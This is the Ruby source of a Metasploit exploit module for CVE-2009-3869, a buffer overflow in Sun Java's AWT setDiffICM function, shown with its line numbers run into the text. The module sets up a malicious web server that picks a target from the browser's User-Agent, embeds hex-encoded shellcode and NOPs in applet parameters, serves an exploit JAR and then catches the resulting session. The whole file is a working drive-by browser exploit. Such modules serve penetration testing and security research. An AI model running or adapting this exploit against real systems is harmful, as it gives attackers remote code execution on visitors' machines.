Path: blob/master/modules/exploits/multi/browser/java_setdifficm_bof.rb
31449 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',18'Description' => %q{19This module exploits a flaw in the setDiffICM function in the Sun JVM.2021The payload is serialized and passed to the applet via PARAM tags. It must be22a native payload.2324The effected Java versions are JDK and JRE 6 Update 16 and earlier,25JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and26earlier, and SDK and JRE 1.3.1_26 and earlier.2728NOTE: Although all of the above versions are reportedly vulnerable, only291.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.30},31'License' => MSF_LICENSE,32'Author' => [33'jduck'34],35'References' => [36[ 'CVE', '2009-3869' ],37[ 'OSVDB', '59710' ],38[ 'BID', '36881' ],39[ 'ZDI', '09-078' ]40],41'Payload' => {42'Space' => 1024,43'BadChars' => '',44'DisableNops' => true45},46'Targets' => [47=begin4849No automatic targetting for now ...5051[ 'J2SE 1.6_16 Automatic',52{53'Platform' => %w{ linux osx win },54'Arch' => [ARCH_X86, ARCH_PPC]55}56],57=end58[59'J2SE 1.6_16 on Windows x86',60{61'Platform' => 'win',62'Arch' => ARCH_X8663}64],65[66'J2SE 1.6_16 on Mac OS X PPC',67{68'Platform' => 'osx',69'Arch' => ARCH_PPC70}71],72[73'J2SE 1.6_16 on Mac OS X x86',74{75'Platform' => 'osx',76'Arch' => ARCH_X8677}78],79],80'DefaultTarget' => 0,81'DisclosureDate' => '2009-11-04',82'Notes' => {83'Reliability' => UNKNOWN_RELIABILITY,84'Stability' => UNKNOWN_STABILITY,85'SideEffects' => UNKNOWN_SIDE_EFFECTS86}87)88)89end9091def on_request_uri(cli, req)92# Create a cached mapping between IP and detected target93@targetcache ||= {}94@targetcache[cli.peerhost] ||= {}95@targetcache[cli.peerhost][:update] = Time.now.to_i9697if (target.name =~ /Automatic/)98case req.headers['User-Agent']99when /Windows/i100print_status('Choosing a Windows target')101@targetcache[cli.peerhost][:target] = targets[1]102when /PPC Mac OS X/i103print_status('Choosing a Mac OS X PPC target')104@targetcache[cli.peerhost][:target] = targets[2]105when /Intel Mac OS X/i106print_status('Choosing a Mac OS X x86 target')107@targetcache[cli.peerhost][:target] = targets[3]108else109print_status("Unknown target for: #{req.headers['User-Agent']}")110end111end112113# Clean the cache114rmq = []115@targetcache.each_key do |addr|116if (Time.now.to_i > @targetcache[addr][:update] + 60)117rmq.push addr118end119end120121rmq.each { |addr| @targetcache.delete(addr) }122123# Request processing124if (!req.uri.match(/\.jar$/i))125126# Redirect to the base directory so the applet code loads...127if (!req.uri.match(%r{/$}))128print_status('Sending redirect so path ends with / ...')129send_redirect(cli, get_resource + '/', '')130return131end132133# Display the applet loading HTML134print_status('Sending HTML')135send_response_html(cli, generate_html(payload.encoded),136{137'Content-Type' => 'text/html',138'Pragma' => 'no-cache'139})140return141end142143# Send the actual applet over144print_status('Sending applet')145send_response(cli, generate_applet(cli, req),146{147'Content-Type' => 'application/octet-stream',148'Pragma' => 'no-cache'149})150151# Handle the payload152handler(cli)153end154155def generate_html(pl)156html = <<~EOF157<html>158<head>159<!-- <meta http-equiv=refresh content=10 /> -->160</head>161<body>162<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>163<param name='sc' value='SCODE' />164<param name='np' value='NOPS' />165</applet>166</body>167</html>168EOF169# finalize html170jar_name = rand_text_alphanumeric(32) + '.jar'171html.gsub!(/JARNAME/, jar_name)172173# put payload into html174debug_payload = false175pload = ''176pload << "\xcc" if debug_payload177pload << pl178if ((pload.length % 4) > 0)179pload << rand_text((4 - (pload.length % 4)))180end181if debug_payload182print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))183end184html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))185186# put nops into html187nops = "\x90\x90\x90\x90"188html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))189# print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))190191return html192end193194def exploit195path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3869.jar')196fd = File.open(path, 'rb')197@jar_data = fd.read(fd.stat.size)198fd.close199200super201end202203def generate_applet(cli, _req)204if (target.name =~ /Automatic/)205if (@targetcache[cli.peerhost][:target])206@targetcache[cli.peerhost][:target]207else208return ''209end210else211target212end213214return @jar_data215end216end217218219